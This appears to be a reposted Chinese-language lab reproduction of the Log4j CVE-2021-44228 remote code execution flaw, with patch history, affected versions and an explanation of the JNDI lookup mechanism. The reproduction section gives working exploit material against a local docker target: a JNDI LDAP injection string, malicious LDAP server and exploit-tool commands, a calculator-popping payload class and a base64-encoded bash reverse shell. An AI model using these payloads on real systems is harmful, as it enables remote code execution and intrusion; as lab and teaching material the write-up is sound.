【漏洞復現】CVE 2021-44228 Log4j-2命令執行復現及分析


12月11日:Apache Log4j2官方發布了2.15.0 版本,以修復CVE-2021-44228。雖然 2.15.0 版本解決了Message Lookups功能和JNDI 訪問方式的問題,但 Log4j團隊認為默認啟用 JNDI 存在安全風險,且2.15.0版本存在CVE-2021-45046漏洞。

12月13日:Apache Log4j2官方發布了Log4j 2.16.0版本(Java 8或更高版本),該版本刪除了Message Lookups功能並默認禁用JNDI功能,並從該版本開始默認禁用JNDI功能,但可以通過將log4j2.enableJndi設置為 true 以啟用 JNDI。此外,Log4j現在將協議默認限制為僅java、ldap和ldaps,並將ldap協議限制為只能訪問Java原始對象。本地主機以外的主機需要被明確允許。

12月15日:Apache Log4j2官方發布了Apache Log4j 2.12.2版本,該版本修復了CVE-2021-44228和CVE-2021-45046,適用於仍在使用Java 7的用戶。

漏洞描述

Apache Log4j2是一個基於Java的日志記錄框架。正常情況下,開發者可能會將錯誤信息寫入日志中,可以利用此特點構造特殊的數據請求包,最終觸發遠程代碼執行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。

受影響版本

Apache Log4j 2.0-beta9 - 2.12.1 、Apache Log4j 2.13.0 - 2.15.0-rc1

Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.

注意:2.15.0-rc1 rc1被繞過是說漏洞點確實可以被繞過,但是rc1已經默認了log4j2.formatMsgNoLookups為true 只要不是手賤那也沒啥問題

原理分析

該漏洞主要是由於日志在打印時當遇到“${”后,以“:”號作為分割,將表達式內容分割成兩部分,前面一部分prefix,后面部分作為key,然后通過prefix去找對應的lookup,通過對應的lookup實例調用lookup方法,最后將key作為參數帶入執行,引發遠程代碼執行漏洞。

漏洞點

LogManager.getLogger().error()
LogManager.getLogger().fatal()

如圖如下協議方式都可以利用

com.sun.jndi.rmi.object.trustURLCodebase  設為true 可以在高版本jdk觸發漏洞。
logger.info("${jndi:ldap://0c22zc.dnslog.cn}"); error級別的更容易觸發,如果不打印info級別信息,則info級別不能觸發漏洞。所以優先用error觸發。

影響應用

可能的受影響應用包括但不限於如下:

Spring-Boot-strater-log4j2

Apache Struts2

Apache Solr	左邊第三個選項,rename

Apache Flink

Apache Druid 一個最上面的框,一個左邊第三個選項中添加的框

ElasticSearch

flume

dubbo

Redis

logstash

kafka

漏洞復現

Idea搭建

新建maven工程,pom.xml中引入log4j2依賴:

<dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>

Payload.java 注意區分大小寫

import java.io.IOException;

public class Payload {
    public Payload() {
        //直接在構造方法中運行計算器
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

該exp用於彈出計算器,驗證命令執行效果。

test.java

import  org.apache.logging.log4j.LogManager;
import  org.apache.logging.log4j.Logger;


public class test {
    public static final Logger logger = LogManager.getLogger(test.class);
    public static void main(String[] args){
        logger.error("${jndi:ldap://192.168.50.213:9998/Payload}");注意區分大小寫
    }

}

手動將exp.java生成字節碼文件,並通過python搭建簡易web用於外部訪問:

再開一個惡意的ldap服務:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.213:9999/#Payload" 9998  
注意區分大小寫

運行test.java,可以看到ldap服務和web服務都有訪問記錄:

並且有計算器彈出來,命令執行成功:

並產生了一條錯誤日志

docker復現
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8888:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash/home/apache-tomcat-8.5.45/bin/startup.sh

執行完以上操作,可以訪問存在Apache Log4j遠程代碼執行漏洞,這里192.168.32.168的ip地址是我安裝了docker虛擬機的ip地址,url如下:

http://192.168.32.168:8888/webstudy/hello-fengxuan

由於該漏洞是jndi加載ldap協議就可以觸發漏洞,使用
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar進行ldap協議監聽,並提前輸入好需要執行的命令,命令如下:

java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch/tmp/88888888888" -A 192.168.32.1
-C后面添加的是需要執行的命令
-A后面是監聽的IP地址

只要根據JDK的版本,提交不同的ldap
如果JDK 是1.7,可以使用

ldap://192.168.32.1:1389/sjrchi 這個鏈接是根據自己上面起的ldap服務生成的鏈接

如果JDK 是1.8,可以使用

ldap://192.168.32.1:1389/fojm7q 這個鏈接是根據自己上面起的ldap服務生成的鏈接

通過BurpSuite提交數據包,由於url只接受需POST數據,受影響的參數是c,在驗證的時候,一定要加入

Content-Type:application/x-www-form-urlencoded;

已經接收到ldap協議數據

如果Apache Log4j遠程代碼執行漏洞成功,就會執行命令touch /tmp/88888888888,在tmp目錄下建一個88888888888文件

進入docker環境漏洞靶場,查看命令是否執行成功,文件成功被創建

docker exec -it log4j_vuln_container /bin/bash
ls /tmp

通過修改-C里面的命令內容,獲取shell

對bash -i >& /dev/tcp/192.168.32.1/220>&1命令進行加密處理

java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEvMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"-A 192.168.32.1

成功獲取shell。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM